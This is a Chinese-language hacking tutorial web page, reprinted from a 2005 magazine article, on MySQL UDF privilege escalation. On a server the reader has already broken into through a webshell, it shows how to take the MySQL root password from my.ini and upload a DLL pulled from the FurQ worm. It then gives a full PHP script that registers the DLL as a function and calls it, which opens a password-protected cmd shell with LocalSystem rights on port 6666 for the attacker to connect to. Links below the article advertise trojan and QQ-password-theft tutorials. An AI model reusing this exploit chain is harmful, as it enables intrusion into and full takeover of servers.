提权,以MySQL之名

所属分类: 实用技巧 / 安全教程 阅读数: 2056
收藏 0 赞 0 分享
作者kEvin 
注:稿件已刊登于《黑客防线》2005年第7期上,转载请著明版权与出处。 

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究. 
其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已. 
废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通. 
MySQL中创建一个函数的语句为: 
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll'; 
其中FunctionName指的是函数的名称,C:\Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System("command.com")等等.网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql这个数据库的写权限,否则无法正常使用. 
好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限. 
在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的. 
一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1. 
得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件.需要通过MySQL将这个函数创建到MySQL中去. 
现在,我们用PHPSPY新建一个PHP文件. 
输入以下的内容 
<?php 
$link=mysql_connect('127.0.0.1','root','root'); 
if (!$link) { 
die('Could NOt Connect The Database!: ' . mysql_error()); 
}; 
echo "Good Boy.Connected!<br>"; 
//这里的root\root就是从my.ini中读取的用户和密码. 
@mysql_select_db('mysql') or die ('use database mysql failed!'); 
echo "Yes You Did!<br>"; 
//这里选择使用MySQL数据库表.当然你也可以选择别的,如test. 
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';"; 
@$result = mysql_query($query, $link) or die ("Create Function Failed!"); 
echo "Goddess...Successed!<br>"; 
//这两句话是关键,执行MySQL的创建函数语句.将d:\wwwroot\furq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数. 
$query="Select Shell();"; 
@$result = mysql_query($query, $link) or die ("Execute failed"); 
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ<br>"; 
//这一步是执行这个Shell函数,打开服务器的6666端口. 
?> 
再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了..当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做坏事哦.呵呵. 
更多精彩内容其他人还在看

一些通用跳转地址,XXOXX的时候有点用

近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址,但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址,所以费了点时间收集了下,在这里要感谢傲少提供的机器给我去找地址。现在贴到这里,方便大家。
收藏 0 赞 0 分享

入侵过程中用过的三大门派的几个小工具[推荐]

vbs在入侵中的作用、我在入侵中的注意的细节、跨站、入侵中的批处理、入侵过程中用的小工具共有这五个,当然随着期数的变化,出的题目也会增加,现在大家针对这些题目欢迎来稿呀,不要被高手这两个字吓住了。
收藏 0 赞 0 分享

sql2005 sa执行命令方法总结

测试环境:windows xp pro sp2 + mssql 2005(服务以system权限启动)
收藏 0 赞 0 分享

几款双功能免杀超强版asp小马

几款双功能免杀超强版asp小马,对于需要查找后门的朋友可以参考下。
收藏 0 赞 0 分享

如何防范别人盗你的qq号(盗别人的qq密码)

想用别人的 qq号码,最主要的就是把别人的密码偷来,那么怎么盗别人的qq密码呢?不过,没有人会告诉你:我的密码是什么什么,请你尽情的用我的号码吧!那么,黑客是怎么去把别人的密码偷来呢
收藏 0 赞 0 分享

QQ聊天记录删除了怎么恢复 详细步骤教程

许多网友都想知道“QQ聊天记录删除了怎么恢复”,因为QQ聊天记录对于我们来说是很重要的数据。下面我们就来介绍下如何解决QQ聊天记录删除恢复的问题
收藏 0 赞 0 分享

php+mysql注入页面实现

最近在弄靶场,原本是打算找一些漏洞程序来做实验环境,但是去找这些程序感觉太麻烦了,几段代码能实现的东西还是自己写吧
收藏 0 赞 0 分享

QQ密码被盗怎么办 (教你如何找回QQ密码)

QQ密码保护是一套保障QQ密码安全的机制。通过给你的QQ号填写对应的相关资料,如证件号、安全提示问题、安全邮箱等,给你的QQ号穿一件防弹衣。一旦出现问题,就可以通过QQ密码保护找回QQ密码
收藏 0 赞 0 分享

QQ密码找回方法全攻略(QQ被盗怎么要回QQ密码呢)

自从本站开办以来,不断有网友来信大量重复询问同一个问题:QQ密码的破解。因为站长有限的精力,不可能一一作答,以后同样的问题我将不会回覆了,您自己看这篇教程吧
收藏 0 赞 0 分享

让你变成ASP木马高手

这篇文章主要介绍了让你变成ASP木马高手
收藏 0 赞 0 分享
查看更多